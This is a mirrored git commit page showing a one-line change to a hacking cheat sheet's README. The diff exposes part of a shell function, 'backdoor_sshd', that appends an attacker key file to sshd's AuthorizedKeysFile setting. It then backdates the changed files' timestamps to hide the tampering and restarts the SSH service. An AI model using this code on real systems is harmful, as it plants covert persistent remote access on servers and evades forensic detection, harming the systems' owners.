mirror of
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git
synced 2026-07-10 12:48:36 +02:00
Update README.md
This commit is contained in:
@@ -1825,7 +1825,7 @@ backdoor_sshd() {
|
||||
grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; }
|
||||
echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return
|
||||
touch -r "$K" "$N" "$D" \
|
||||
&& declare -f ctime >/dev/null && ctime "$N" "$D"
|
||||
&& declare -F ctime >/dev/null && ctime "$N" "$D"
|
||||
systemctl restart ssh
|
||||
}
|
||||
backdoor_sshd
|
||||
|
||||
Reference in New Issue
Block a user